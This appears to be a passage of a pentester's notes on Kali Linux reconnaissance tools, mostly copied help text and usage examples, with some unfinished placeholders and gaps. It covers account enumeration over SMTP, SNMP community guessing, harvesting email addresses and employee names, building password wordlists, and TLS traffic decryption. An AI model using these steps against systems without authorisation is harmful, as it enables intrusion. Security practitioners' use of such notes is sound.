xprobe2 fingerprints remote operating system by analyzing the replies from the target, so to get the most out of xprobe2 you need to supply xprobe2 with as much information as possible, in particular it is important to supply at least one open TCP port and one closed UDP port. Open TCP port can either be provided in command line (-p), obtained through built-in portscanner (-T) or -B option can be used to cause xprobe2 to try to blindly guess open TCP port. UDP port can be supplied via command line (-p) or through built-in portscanner (-U).

Network and Port Scanners submenu
masscan (see previous entry for this)
nmap/ zenmap - (see previous entry for this)
unicornscan (see previous entry for this)

OSINT Analysis submenu

automater - http://www.tekdefense.com/automater/ - IP, URL, and Hash Passive Analysis tool
Automater is a URL/Domain, IP Address, and Md5 Hash OSINT tool aimed at making the analysis process easier for intrusion Analysts. Given a target (URL, IP, or HASH) or a file full of targets Automater will return relevant results from sources like the following: IPvoid.com, Robtex.com, Fortiguard.com, unshorten.me, Urlvoid.com, Labs.alienvault.com, ThreatExpert, VxVault, and VirusTotal.

Automater.py [-h] [-o OUTPUT] [-w WEB] [-c CSV] [-d DELAY] [-s SOURCE] [--p] [--proxy PROXY] [-a USERAGENT] target
target: List one IP Address (CIDR or dash notation accepted), URL or Hash to query or pass the filename of a file containing IP Address info, URL or Hash to query each separated by a newline.
-h, --help show this help message and exit
-o OUTPUT, --output OUTPUT This option will output the results to a file.
-w WEB, --web WEB This option will output the results to an HTML file.
-c CSV, --csv CSV This option will output the results to a CSV file.
-d DELAY, --delay DELAY This will change the delay to the inputted seconds. Default is 2.
-s SOURCE, --source SOURCE This option will only run the target against a specific source engine to pull associated domains. Options are defined in the name attribute of the site element in the XML configuration file
--p, --post This option tells the program to post information to sites that allow posting. By default the program will NOT post to sites that require a post.
--proxy PROXY This option will set a proxy to use (eg. proxy.example.com:8080)
-a USERAGENT, --useragent USERAGENT
This option allows the user to set the user-agent seen by web servers being utilized. By default, the user-agent is set to Automater/version

casefile - http://paterva.com/web6/products/casefile.php - PUT IN MALTEGO OVERVIEW
CaseFile is the little brother to Maltego. It targets a unique market of ‘offline’ analysts whose primary sources of information are not gained from the open-source intelligence side or can be programmatically queried. We see

these people as investigators and analysts who are working ‘on the ground’, getting intelligence from other people in the team and building up an information map of their investigation.
maltego -

creepy - Gathers geolocation related information from online sources, and allows for presentation on map, search filtering based on exact location and/or date, export in csv format or kml for further analysis in Google Maps
Kali comes with creepy v1.0 packaged. If you want to run v1.4, do the following :
apt-get remove --purge creepy
apt-get autoremove
pip install -U pytz python-qt flickrapi python-instagram yapsy tweepy google-api-python-client python-dateutil configobj dominate
Then download the source code from here and run the python script CreepyMain.py with
python CreepyMain.py

theharvester - gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database.
This is a complete rewrite of the tool with new features like:
Time delays between request
All sources search
Virtual host verifier
Active enumeration (DNS enumeration, Reverse lookups, TLD expansion)
Integration with SHODAN computer database, to get the open ports and banners
Save to XML and HTML
Basic graph with stats
New sources
Source: https://code.google.com/p/theharvester/
-d: Domain to search or company name
-b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,people123,jigsaw,all)
-s: Start in result number X (default 0)
-v: Verify host name via dns resolution and search for virtual hosts
-f: Save the results into an HTML and XML file
-n: Perform a DNS reverse query on all ranges discovered
-c: Perform a DNS brute force for the domain name
-t: Perform a DNS TLD expansion discovery
-e: Use this DNS server
-l: Limit the number of results to work with(bing goes from 50 to 50 results,
-h: use SHODAN database to query discovered hosts
google 100 to 100, and pgp doesn't use this option)

Examples: theharvester -d microsoft.com -l 500 -b google
theharvester -d microsoft.com -b pgp
theharvester -d microsoft -l 200 -b linkedin

twofi - Twitter Words Of Interest
twofi -h
twofi 1.0 Robin Wood (robin@digininja.org) (www.digininja.org)
When attempting to crack passwords custom word lists are very useful additions to standard dictionaries. An interesting idea originally released on the “7 Habits of Highly Effective Hackers” blog was to use Twitter to help generate those lists based on searches for keywords related to the list that is being cracked. This idea has been expanded into twofi which will take multiple search terms and return a word list sorted by most common first.
Source: http://www.digininja.org/projects/twofi.php
Usage: twofi [OPTIONS]
--help, -h: show help
--count, -c: include the count with the words
--min_word_length, -m: minimum word length
--term_file, -T file: a file containing a list of terms
--terms, -t: comma separated usernames
quote words containing spaces, no space after commas
--user_file, -U file: a file containing a list of users
--users, -u: comma separated search terms
quote words containing spaces, no space after commas

--verbose, -v: verbose

urlcrazy - (see previous explanation)

Route Analysis submenu

0trace - http://lcamtuf.coredump.cx/soft/0trace.tgz
https://www.aldeid.com/wiki/0trace
http://lcamtuf.coredump.cx/
Reconnaissance / firewall bypassing tool that enables hop enumeration ("traceroute") within an established TCP connection, such as a HTTP or SMTP session. This is opposed to sending stray packets, as traceroute-type tools usually do. In case of a successful scan, 0trace provides useful additional servers for the penetration tester

intrace - https://code.google.com/p/intrace/wiki/intrace
a traceroute-like application that enables users to enumerate IP hops exploiting existing TCP connections, both initiated from local network (local system) or from remote hosts. It could be useful for network reconnaissance and firewall bypassing.
Usage: intrace <-h hostname> [-p <port>] [-d <debuglevel>] [-s <payloadsize>] [-6]
Run a trace to the target host (-h www.example.com) using port 80 (-p 80) with a packet size of 4 bytes (-s 4):
intrace -h www.example.com -p 80 -s 4
InTrace 1.5 -- R: 93.184.216.119/80 (80) L: 192.168.1.130/51654
Payload Size: 4 bytes, Seq: 0x0d6dbb02, Ack: 0x8605bff0
[src addr] [icmp src addr] [pkt type]
1. [192.168.1.1] [93.184.216.119] [ICMP_TIMXCEED]
2. [192.168.0.1] [93.184.216.119] [ICMP_TIMXCEED]
3. [---] [---] [NO REPLY]
4. [64.59.184.185] [93.184.216.119] [ICMP_TIMXCEED]
5. [66.163.70.25] [93.184.216.119] [ICMP_TIMXCEED]
6. [66.163.64.150] [93.184.216.119] [ICMP_TIMXCEED]
7. [66.163.75.117] [93.184.216.119] [ICMP_TIMXCEED]
8. [206.223.119.59] [93.184.216.119] [ICMP_TIMXCEED]

irpass-ass - autonomous system scanner,
Irpass-Ass is designed to find the AS of the router. Irpass-Ass supports the following protocols: IRDP, IGRP, EIGRP, RIPv1, RIPv2, CDP, HSRP and OSPF.
Passive mode (./ass -i eth0), it just listens to routing protocol packets (like broadcast and multicast hellos).
Active mode (./ass -i eth0 -A), it tries to discover routers by asking for information. Irpass-Ass is done to the appropriate address for each protocol (either broadcast or multicast addresses). If you specify a destination address, this will be used but may be not as effective as the defaults.
EIGRP scanning is done differently: While scanning, ASS listens for HELLO packets and then scans the AS directly on the router who advertised himself. You can force EIGRP scanning into the same AS-Scan behavior as IGRP uses by giving a destination or into multicast scanning by the option -M.
For Active mode, you can select the protocols you want to scan for. If you don't select them, all are scanned. You select protcols by giving the option -P and any combination of the following chars: IER12, where:
I = IGRP
E = EIGRP
R = IRDP
1 = RIPv1
2 = RIPv2

Usage
Irpass-Ass [-v[v[v]]] -i <interface> [-p] [-c] [-A] [-M] [-P IER12] -a <autonomous system start> -b <autonomous system stop> [-S <spoofed source IP>] [-D <destination ip>] [-T <packets per delay>]

Where:
-i <interface> interface
-v verbose
-A this sets the scanner into active mode
-P <protocols> see above (usage: -P EIR12)
-M EIGRP systems are scanned using the multicast address and not by HELLO enumeration and direct query

-a <autonomous system> autonomous system to start from
-b <autonomous system> autonomous system to stop with
-S <spoofed source IP> maybe you need this
-D <destination IP> If you don't specify this, the appropriate address per protocol is used
-p don't run in promiscuous mode (bad idea)
-c terminate after scanning. This is not recommened since answers may arrive later and you could see some traffic that did not show up during your scans
-T <packets per delay> packets how many packets should we wait some miliseconds
(-T 1 is the slowest scan -T 100 begins to become unreliable)

irpass-cdp
This program is for sending CDP (Cisco router Discovery Protocol) messages to the wire.
NEED TO DUMP MAN PAGE FROM KALI- CAN'T FIND ANYTHING ON GOOGLE - ANYTHING!!!!

netdiscover - an active/passive arp reconnaissance tool.
netdiscover [-i device] [-r range | -p] [-s time] [-n node] [-c count] [-f] [-S]
netdiscover is an active/passive arp reconnaissance tool, mainly developed to gain information about wireless networks without dhcp servers in wardriving scenarios. It can also be used on switched networks. Built on top of libnet and libpcap, it can passively detect online hosts or search for them by sending arp requests.

Furthermore, it can be used to inspect your network's arp traffic, or find network addresses using auto scan mode, which will scan for common local networks.

-i device The network interface to sniff and inject packets. If no interface is specified, first available will be used.

-r range Scan a given range instead of auto scan. Valid range values area for example: 192.168.0.0/24, 192.168.0.0/16 or 192.168.0.0/8.

-p Enable passive mode. In passive mode, netdiscover does not send anything, but does only sniff.

-s time Sleep given time in milliseconds between each arp request injection. (default 1)

-c count Number of times to send each arp request. Useful for networks with packet loss, so it will scan given times for each host.

-n node Last ip octet of the source ip used for scanning. You can change it if the default host is already used. (allowed range: 2 to 253, default 66)

-S Enable sleep time suppression between each request. If set, netdiscover will sleep after having scanned 255 hosts instead of sleeping after each one. This mode was used in netdiscover 0.3 beta4 and before. Avoid this option in networks with packet loss, or in wireless networks with low signal level. (also called hardcore mode)

-f Enable fast mode scan. This will only scan for .1, .100 and .254 on each network. This mode is usefull while searching for ranges being used. After you found such range you can make a specific range scan to find online boxes.

USAGE
If passive mode (-p) or scan range (-r) options arent enabled, netdiscover will scan for common LAN addresses.
Screen control keys
h Show help screen
j Scroll down (or down arrow)
k Scroll up (or up arrow)
a Show arp replys list
r Show arp requests list
q Close help screen or end application

netmask - a netmask generation and conversion program
netmask [options] spec [spec ...]
This program accepts and produces a variety of common network address and netmask formats. Not only can it convert address and netmask notations, but it will optimize the masks to generate the smallest list of rules. This is

very handy if you've ever configured a firewall or router and some nasty network administrator before you decided that base 10 numbers were good places to start and end groups of machines.
Options

-h, --help Print a summary of the options
-v, --version Print the version number
-d, --debug Print status/progress information
-s, --standard Output address/netmask pairs
-c, --cidr Output CIDR format address lists
-i, --cisco Output Cisco style address lists
-r, --range Output ip address ranges
-x, --hex Output address/netmask pairs in hex
-o, --octal Output address/netmask pairs in octal
-b, --binary Output address/netmask pairs in binary
-n, --nodns Disable DNS lookups for addresses

Definitions
A spec is an address specification, it can look like:

address One address.
address1:address2 All addresses from address1 to address2.
address1:+address2 All addresses from address1 to address1+address2.
address/mask A group starting at address spanning mask.

An address is an internet network address, it can look like:
ftp.gnu.org An internet hostname.
209.81.8.252 A standard dotted quad internet address notation.
  A decimal number (100 in this case).
  An octal number preceded by "0" (64 in this case).
0x100 A hexadecimal number preceded by "0x" (256 in this case).

A mask is a network mask, it can look like:
255.255.224.0 A dotted quad netmask (netmask will complain if it is not a valid netmask).
0.0.31.255 A Cisco style inverse netmask (with the same checks).
  The number of bits set to one from the left (CIDR notation).
  The number of bits set to one from the left in octal.

0x10 The number of bits set to one from the left in hexadecimal.

SMTP Analysis submenu

smtp-user-enum - http://pentestmonkey.net/tools/user-enumeration/smtp-user-enum
A tool for enumerating OS-level user accounts on Solaris via the SMTP service (sendmail). Enumeration is performed by inspecting the responses to VRFY, EXPN and RCPT TO commands. It could be adapted to work against other vulnerable SMTP daemons, but this hasn't been done as of v1.0.

smtp-user-enum.pl [options] (-u username | -U file-of-usernames) (-t host | -T file-of-targets)
-m n Maximum number of processes (default: 5)
-M mode Method to use for username guessing EXPN, VRFY or RCPT (default: VRFY)
-u user Check if user exists on remote system
-f addr MAIL FROM email address. Used only in "RCPT TO" mode (default: user@example.com)
  -D dom Domain to append to supplied user list to make email addresses (Default: none)
    Use this option when you want to guess valid email addresses instead of just usernames
    e.g. "-D example.com" would guess foo@example.com, bar@example.com, etc. Instead of simply the usernames foo and bar.
-U file File of usernames to check via smtp service
-t host Server host running smtp service
-T file File of hostnames running the smtp service
-p port TCP port on which smtp service runs (default: 25)
-d Debugging output
-t n Wait a maximum of n seconds for reply (default: 5)

-v Verbose
-h This help message
Also see smtp-user-enum-user-docs.pdf from the smtp-user-enum tar ball.

Examples:
$ smtp-user-enum.pl -M VRFY -U users.txt -t 10.0.0.1
$ smtp-user-enum.pl -M EXPN -u admin1 -t 10.0.0.1
$ smtp-user-enum.pl -M RCPT -U users.txt -T mail-server-ips.txt
$ smtp-user-enum.pl -M EXPN -D example.com -U users.txt -t 10.0.0.1

swaks - Swiss Army Knife for SMTP
http://www.jetmore.org/john/code/swaks/
A featureful, flexible, scriptable, transaction-oriented SMTP test tool
It handles SMTP features and
extensions such as TLS, authentication, and pipelining; multiple version of the SMTP protocol including SMTP, ESMTP, and LMTP; and multiple transport methods including unix-domain sockets, internet-domain sockets, and pipes to spawned processes. Options can be specified in environment variables, configuration files, and the command line allowing maximum configurability and ease of use for operators and scripters.

QUICK START
Deliver a standard test email to user@example.com on port 25 of test-server.example.net:
swaks --to user@example.com --server test-server.example.net
Deliver a standard test email, requiring CRAM-MD5 authentication as user me@example.com. An "X-Test" header will be added to the email body. The authentication password will be prompted for.
swaks --to user@example.com --from me@example.com --auth CRAM-MD5 --auth-user me@example.com --header-X-Test "test email"
Test a virus scanner using EICAR in an attachment. Don't show the message DATA part.:
swaks -t user@example.com --attach - --server test-server.example.com --suppress-data </path/to/eicar.txt
Test a spam scanner using GTUBE in the body of an email, routed via the MX records for example.com:
swaks --to user@example.com --body /path/to/gtube/file
Deliver a standard test email to user@example.com using the LMTP protocol via a UNIX domain socket file
swaks --to user@example.com --socket /var/lda.sock --protocol LMTP
Report all the recipients in a text file that are non-verifyiable on a test server:

```
for E in `cat /path/to/email/file`
do
  swaks --to $E --server test-server.example.com --quit-after RCPT --hide-all
  [ $? -ne 0 ] && echo $E
done
```

More here: http://www.jetmore.org/john/code/swaks/latest/doc/ref.txt

SNMP Analysis submenu
braa - http://s-tech.elsat.net.pl/
a mass snmp scanner. The intended usage of such a tool is of course making SNMP queries – but unlike snmpget or snmpwalk from net-snmp, it is able to query dozens or hundreds of hosts simultaneously, and in a single process. Thus, it consumes very few system resources and does the scanning VERY fast.

Braa implements its OWN snmp stack, so it does NOT need any SNMP libraries like net-snmp. The implementation is very dirty, supports only several data types, and in any case cannot be stated ‘standard-conforming’! It was designed to be fast, and it is fast. For this reason (well, and also because of my laziness ;), there is no ASN.1 parser in braa – you HAVE to know the numerical values of OID’s (for instance .1.3.6.1.2.1.1.5.0 instead of system.sysName.0).
braa -h
braa 0.81 - Mateusz 'mteg' Golicz <mtg@elsat.net.pl>, 2003 - 2006
usage: braa [options] [query1] [query2] ...
-h Show this help.

```
 -2       Claim to be a SNMP2C agent.
 -v       Show short summary after doing all queries.
 -x       Hexdump octet-strings
 -t <s>    Wait <s> seconds for responses.
 -d <s>    Wait <s> microseconds after sending each packet.
 -p <s>    Wait <s> miliseconds between subsequent passes.
 -f <file> Load queries from file <file> (one by line).
 -a <time> Quit after <time> seconds, independent on what happens.
 -r <rc>   Retry count (default: 3).

Query format:
  GET:   [community@]iprange[:port]:oid[/id]
  WALK:  [community@]iprange[:port]:oid.*[/id]
  SET:   [community@]iprange[:port]:oid=value[/id]

Examples:
        public@10.253.101.1:161:.1.3.6.*
        10.253.101.1-10.253.101.255:.1.3.6.1.2.1.1.4.0=sme
        10.253.101.1:.1.3.6.1.2.1.1.1.0/description

It is also possible to specify multiple queries at once:
        10.253.101.1-10.253.101.255:.1.3.6.1.2.1.1.4.0=sme,.1.3.6.*
        (Will set .1.3.6.1.2.1.1.4.0 to 'me' and do a walk starting from .1.3.6)

Values for SET queries have to be prepended with a character specifying the value type:
  i      is INTEGER
  a      is IPADDRESS
  s      is OCTET STRING
  o      is OBJECT IDENTIFIER
If the type specifier is missing, the value type is auto-detected

Walk the SNMP tree on 192.168.1.215 using the community string of public, querying all OIDs under .1.3.6:
# braa public@192.168.1.215:.1.3.6.*
192.168.1.215:122ms:.1.3.6.1.2.1.1.1.0:Linux redhat.biz.local 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686
192.168.1.215:143ms:.1.3.6.1.2.1.1.2.0:.1.3.6.1.4.1.8072.3.2.10
192.168.1.215:122ms:.1.3.6.1.2.1.1.3.0:4051218219
192.168.1.215:122ms:.1.3.6.1.2.1.1.4.0:Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
192.168.1.215:143ms:.1.3.6.1.2.1.1.5.0:redhat.biz.local
```

onesixtyone - https://github.com/trailofbits/onesixtyone (page has lots more info)
Onesixtyone is a simple SNMP scanner which sends requests for the sysDescr value asynchronously with user-adjustable sending times. sends multiple SNMP requests to multiple IP addresses, trying different community strings and waiting for replies
$ onesixtyone [options] <host> <community>

```
-c <communityfile>    file with community names to try
-i <inputfile>    file with target hosts
-o <outputfile>    output log
-d    debug mode, use twice for more information
-w <n>    wait n milliseconds (1/1000 of a second) between sending packets (default 10)
-q    quiet mode, do not print log to stdout, use with -l

$ onesixtyone 192.168.100.51
Scanning 1 hosts, 2 communities
192.168.100.51 [public] HP J4093A ProCurve Switch 2424M, revision C.09.30, ROM C.06.01
(/sw/code/build/vgro(c09))
```

snmp-check - http://www.nothink.org/codes/snmpcheck/index.php
Like snmpwalk, snmpcheck allows you to enumerate the SNMP devices and places the output in a very human readable friendly format. It could be useful for penetration testing or systems monitoring. Distributed under GPL license and based on “Athena-2k” script

Usage snmpcheck -t <IP address>
-t : target host;
-p : SNMP port; default port is 161;
-c : SNMP community; default is public;
-v : SNMP version (1,2); default is 1;
-r : request retries; default is 0;
-w : detect write access (separate action by enumeration);
-d : disable 'TCP connections' enumeration!
-T : force timeout in seconds; default is 20. Max is 60;
-D : enable debug;
-h : show help menu;

Scan the target host (-t 192.168.1.2) using the public SNMP community string (-c public):
snmpcheck -t 192.168.1.2 -c public
[*] Try to connect to 192.168.1.2
[*] Connected to 192.168.1.2
[*] Starting enumeration at 2014-05-13 16:16:22
[*] System information

SSL Analysis submenu

sslcaudit - http://www.gremwell.com/sslcaudit_v1_0
Automate testing SSL/TLS clients for resistance against MITM attacks. It might be useful for testing a thick client, a mobile application, an appliance, pretty much anything communicating over SSL/TLS over TCP
http://www.gremwell.com/sites/default/files/sslcaudit/doc/sslcaudit-user-guide-1.0.pdf
sslcaudit -h
--version show program's version number and exit
-h, --help show this help message and exit
-l LISTEN_ON Specify IP address and TCP PORT to listen on, in format of HOST:PORT. Default is 0.0.0.0:8443
-m MODULES Launch specific modules. For now the only functional module is 'sslcert'. There is also 'dummy' module used for internal testing or as a template code for new modules. Default is sslcert
-v VERBOSE Increase verbosity level. Default is 0. Try 1.
-d DEBUG_LEVEL Set debug level. Default is 0, which disables debugging output. Try 1 to enable it.
-c NCLIENTS Number of clients to handle before quitting. By default sslcaudit will quit as soon as it gets one client fully processed.
-N TEST_NAME Set the name of the test. If specified will appear in the leftmost column in the output.
-T SELF_TEST Launch self-test. 0 - plain TCP client, 1 - CN verifying client, 2 - curl.
--user-cn=USER_CN Set user-specified CN.
--server=SERVER Where to fetch the server certificate from, in HOST:PORT format.
--user-cert=USER_CERT_FILE Set path to file containing the user-supplied certificate.
--user-key=USER_KEY_FILE Set path to file containing the user-supplied key.
--user-ca-cert=USER_CA_CERT_FILE Set path to file containing certificate for user- supplied CA.
--user-ca-key=USER_CA_KEY_FILE Set path to file containing key for user-supplied CA.
--no-default-cn Do not use default CN
--no-self-signed Don't try self-signed certificates
--no-user-cert-signed Do not sign server certificates with user-supplied one

Listen on port 443 (-l 0.0.0.0:443) in verbose mode (-v 1):
root@kali:~# sslcaudit -l 0.0.0.0:443 -v 1
filebag location: sslcaudit.1
127.0.0.1:38978 selfsigned(www.example.com) tlsv1 alert unknown ca

ssldump - dump SSL traffic on a network - http://ssldump.sourceforge.net/
ssldump is an SSL/TLS network protocol analyzer. It identifies TCP connections on the chosen network interface and attempts to interpret them as SSL/TLS traffic. When it identifies SSL/TLS traffic, it decodes the records and displays them in a textual form to stdout. If provided with the appropriate keying material, it will also decrypt the connections and display the application data traffic.

ssldump has been tested on FreeBSD, Linux, Solaris, and HP/UX. Since it's based on PCAP, it should work on most platforms. However, unlike tcpdump, ssldump needs to be able to see both sides of the data transmission so

you may have trouble using it with network taps such as SunOS nit that don't permit you to see transmitted data. Under SunOS with nit or bpf: To run tcpdump you must have read access to /dev/nit or /dev/bpf*. Under Solaris with dlpi: You must have read access to the network pseudo device, e.g. /dev/le. Under HP-UX with dlpi: You must be root or it must be installed setuid to root. Under IRIX with snoop: You must be root or it must be installed setuid to root. Under Linux: You must be root or it must be installed setuid to root. Under Ultrix and Digital UNIX: Once the super-user has enabled promiscuous-mode operation using pfconfig(8), any user may run ssldump Under BSD: You must have read access to /dev/bpf*.
ssldump [-vtaTnsAxXhHVNdq] [-r dumpfile] [-i interface] [-k keyfile] [-p password] [expression]

-a Print bare TCP ACKs (useful for observing Nagle behavior)
-A Print all record fields (by default ssldump chooses the most interesting fields)
-d Display the application data traffic. This usually means decrypting it, but when -d is used ssldump will also decode application data traffic _before_ the SSL session initiates. This allows you to see HTTPS CONNECT behavior as well as SMTP STARTTLS. As a side effect, since ssldump can't tell whether plaintext is traffic before the initiation of an SSL connection or just a regular TCP connection, this allows you to use ssldump to sniff any TCP connection. ssldump will automatically detect ASCII data and display it directly to the screen. non-ASCII data is displayed as hex dumps. See also -X.

-e Print absolute timestamps instead of relative timestamps
-r Read data from file instead of from the network. The old -f option still works but is deprecated and will probably be removed with the next version. -H Print the full SSL packet header.
-k Use keyfile as the location of the SSL keyfile (OpenSSL format) Previous versions of ssldump automatically looked in ./server.pem. Now you must specify your keyfile every time.
-n Don't try to resolve host names from IP addresses
-N Attempt to parse ASN.1 when it appears, such as in certificates and DNs.
-p Use password as the SSL keyfile password.
-P Don't put the interface into promiscuous mode.
-q Don't decode any record fields beyond a single summary line. (quiet mode).
-x Print each record in hex, as well as decoding it.

-X When the -d option is used, binary data is automatically printed in two columns with a hex dump on the left and the printable characters on the right. -X suppresses the display of the printable characters, thus making it easier to cut and paste the hext data into some other program. -y Decorate the output for processing with troff. Not very useful for the average user.

expression - Selects what packets ssldump will examine. Technically speaking, ssldump supports the full expression syntax from PCAP and tcpdump. In fact, the description here is cribbed from the tcpdump man page. However, since ssldump needs to examine full TCP streams, most of the tcpdump expressions will select traffic mixes that ssldump will simply ignore. Only the expressions which don't result in incomplete TCP streams are listed here.

The expression consists of one or more primitives. Primitives usually consist of an id (name or number) preceded by one or more qualifiers. There are three different kinds of qualifier:

type - qualifiers say what kind of thing the id name or number refers to. Possible types are host, net and port. E.g., `host foo', `net 128.3', `port 20'. If there is no type qualifier, host is assumed.

dir - qualifiers specify a particular transfer direction to and/or from id. Possible directions are src, dst, src or dst and src and dst. E.g., `src foo', `dst net 128.3', `src or dst port ftp-data'. If there is no dir qualifier, src or dst is assumed. For `null' link layers (i.e. point to point protocols such as slip) the inbound and outbound qualifiers can be used to specify a desired direction.

More complex filter expressions are built up by using the words and, or and not to combine primitives. E.g., `host foo and not port ftp and not port ftp-data'. To save typing, identical qualifier lists can be omitted. E.g., `tcp dst port ftp or ftp-data or domain' is exactly the same as `tcp dst port ftp or tcp dst port ftp-data or tcp dst port domain'. [see the actual man page for more. This goes into too much detail to make space for here. Visit: http://ssldump.sourceforge.net/ssldump-man.html]

To listen to traffic on interface le0 port 443

```
ssldump -i le0 port 443
```

To listen to traffic to the server romeo on port 443.

```
ssldump -i le0 port 443 and host romeo
```

To decrypt traffic to to host romeo server.pem and the password foobar

```
ssldump -Ad -k ~/server.pem -p foobar -i le0 host romeo
```

sslh - " Applicative protocol multiplexer" - http://www.rutschle.net/tech/sslh.shtml
Accepts connections on specified ports, and forwards them further based on tests performed on the first data packet sent by the remote client.
Probes for HTTP, SSL, SSH, OpenVPN, tinc, XMPP are implemented, and any other protocol that can be tested using a regular expression, can be recognised. A typical use case is to allow serving several services on port 443 (e.g. to connect to ssh from inside a corporate firewall, which almost never block port 443) while still serving HTTPS on that port. Acts as a protocol demultiplexer, or a switchboard. Its name comes from its original function to serve SSH and HTTPS on the same port. sslh supports IPv6, privilege dropping, transparent proxying, and more
sslh [-F config file] [-t num] [-p listening address [-p listening address ...] [--ssl target address for SSL] [--ssh target address for SSH] [--openvpn target address for OpenVPN] [--http target address for HTTP] [--anyprot default target address] [--on-timeout protocol name] [-u username] [-P pidfile] [-v] [-i] [-V] [-f] [-n]

-t num, --timeout num
Timeout before forwarding the connection to the timeout protocol (which should usually be SSH). Default is 2s.
--on-timeout protocol name
Name of the protocol to connect to after the timeout period is over. Default is 'ssh'.
-p listening address, --listen listening address
Interface and port on which to listen, e.g. foobar:443, where foobar is the name of an interface (typically the IP address on which the Internet connection ends up). This can be specified several times to bind sslh to several addresses.
--ssl target address =item --tls target address
Interface and port on which to forward SSL connection, typically localhost:443. Note that you can set sslh to listen on ext_ip:443 and httpd to listen on localhost:443: this allows clients inside your network to just connect directly to httpd. Also, sslh probes for SSLv3 (or TLSv1) handshake and will reject connections from clients requesting SSLv2. This is compliant to RFC6176 which prohibits the usage of SSLv2. If you wish to accept SSLv2, use --default instead.
--ssh target address
Interface and port on which to forward SSH connections, typically localhost:22.
--openvpn target address
Interface and port on which to forward OpenVPN connections, typically localhost:1194.
--xmpp target address
Interface and port on which to forward XMPP connections, typically localhost:5222.
--http target address
Interface and port on which to forward HTTP connections, typically localhost:80.
--tinc target address
Interface and port on which to forward tinc connections, typically localhost:655. This is experimental. If you use this feature, please report the results (even if it works!)
--anyprot target address
Interface and port on which to forward if no other protocol has been found. Because sslh tries protocols in the order specified on the command line, this should be specified last. If no default is specified, sslh will forward unknown protocols to the first protocol specified.
-v, --verbose Increase verboseness.
-n, --numeric Do not attempt to resolve hostnames: logs will contain IP addresses. This is mostly useful if the system's DNS is slow and running the sslh-select variant, as DNS requests will hang all connections.
-V Prints sslh version.
-u username, --user username Requires to run under the specified username.
-P pidfile, --pidfile pidfile Specifies a file in which to write the PID of the main server.
-i, --inetd Runs as an inetd server. Options -P (PID file), -p (listen address), -u (user) are ignored.
-f, --foreground Runs in foreground. The server will not fork and will remain connected to the terminal. Messages normally sent to syslog will also be sent to stderr.
--background Runs in background. This overrides foreground if set in the configuration file (or on the command line, but there is no point setting both on the command line unless you have a personality disorder).

/etc/init.d/sslh - Start-up script. The standard actions start, stop and restart are supported.
/etc/default/sslh - Server configuration. These are environment variables loaded by the start-up script and passed to sslh as command-line arguments. Refer to the OPTIONS section for a detailed explanation of the variables used by sslh.

sslscan - Fast SSL scanner - https://github.com/rbsec/sslscan
queries SSL services, such as HTTPS, in order to determine the ciphers that are supported. SSLScan is designed to be easy, lean and fast. The output includes preferred ciphers of the SSL service the certificate and output is in text and XML formats.
--help Show summary of options.
--version Show version of program.
--targets=<file> A file containing a list of hosts to check. Hosts can be supplied with ports (i.e. host:port). One target per line.
--no-failed List only accepted ciphers (default is to listing all ciphers).
--ssl2 Only check SSLv2 ciphers.
--ssl3 Only check SSLv3 ciphers.
--pk=<file> A file containing the private key or a PKCS#12 file containing a private key/certificate pair (as produced by MSIE and Netscape).
--pkpass=<password> The password for the private key or PKCS#12 file.
--certs=<file> A file containing PEM/ASN1 formatted client certificates.
--starttls Executes a STARTTLS in order to test the SSL capabilities of an SMTP service with TLS support. This option automatically forces TLS only ciphers, no need to specify it.
--html Makes a HTML request after a successful connection and returns the server response code.
--bugs Enables workarounds for SSL bugs.
--xml=<file> Output results to an XML file.

sslyze - https://github.com/iSECPartners/sslyze
Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify mis-configurations affecting their SSL servers
$ python sslyze.py --regular www.isecpartners.com:443 www.google.com
Usage: sslyze [options] target1.com target2.com:443 etc...
--version show program's version number and exit
-h, --help show this help message and exit
--xml_out=XML_FILE Writes the scan results as an XML document to the file XML_FILE.
--targets_in=TARGETS_INReads the list of targets to scan from the file TARGETS_IN. It should contain one host:port per line.
--timeout=TIMEOUT Sets the timeout value in seconds used for every socket connection made to the target server(s). Default is 5s.
--https_tunnel=HTTPS_TUNNEL Sets an HTTP CONNECT proxy to tunnel SSL traffic to the target server(s). HTTP_TUNNEL should be 'host:port'. Requires Python 2.7
--starttls=STARTTLS Identifies the target server(s) as a SMTP or an XMPP server(s) and scans the server(s) using STARTTLS. STARTTLS should be 'smtp' or 'xmpp'.
--xmpp_to=XMPP_TO Optional setting for STARTTLS XMPP. XMPP_TO should be the hostname to be put in the 'to' attribute of the XMPP stream. Default is the server's hostname.
--regular Regular HTTPS scan; shortcut for --sslv2 --sslv3 --tlsv1 --reneg --resum --certinfo --http_get --hide_rejected_ciphers --compression --tlsv1_1 --tlsv1_2

Client certificate support:
--cert=CERT Client certificate filename.
--certform=CERTFORM Client certificate format. DER or PEM (default).
--key=KEY Client private key filename.
--keyform=KEYFORM Client private key format. DER or PEM (default).
--pass=KEYPASS Client private key passphrase.

PluginSessionResumption:
Analyzes the target server's SSL session resumption capabilities.
--resum Tests the server for session ressumption support, using session IDs and TLS session tickets (RFC 5077).
--resum_rate Performs 100 session resumptions with the target server, in order to estimate the session resumption rate.

PluginOpenSSLCipherSuites:
Scans the target server for supported OpenSSL cipher suites.
--sslv2 Lists the SSL 2.0 OpenSSL cipher suites supported by the server.
--sslv3 Lists the SSL 3.0 OpenSSL cipher suites supported by the server.

--tlsv1 Lists the TLS 1.0 OpenSSL cipher suites supported by the server.
--tlsv1_1 Lists the TLS 1.1 OpenSSL cipher suites supported by the server.
--tlsv1_2 Lists the TLS 1.2 OpenSSL cipher suites supported by the server.
--http_get Option - For each cipher suite, sends an HTTP GET request after completing the SSL handshake and returns the HTTP status code.
--hide_rejected_ciphers Option - Hides the (usually long) list of cipher suites that were rejected by the server.
PluginCompression:
--compression Tests the server for Zlib compression support.

PluginCertInfo:
--certinfo=CERTINFO Verifies the target server's certificate validity against Mozilla's trusted root store, and prints relevant fields of the certificate. CERTINFO should be 'basic' or 'full'.

PluginSessionRenegotiation:
--reneg Tests the target server's support for client-initiated renegotiations and secure renegotiations

Py2exe Build
SSLyze can be packaged as a Windows executable by running the following command:
$ python.exe setup_py2exe.py py2exe

sslyze --regular www.example.com
CHECKING HOST(S) AVAILABILITY
---
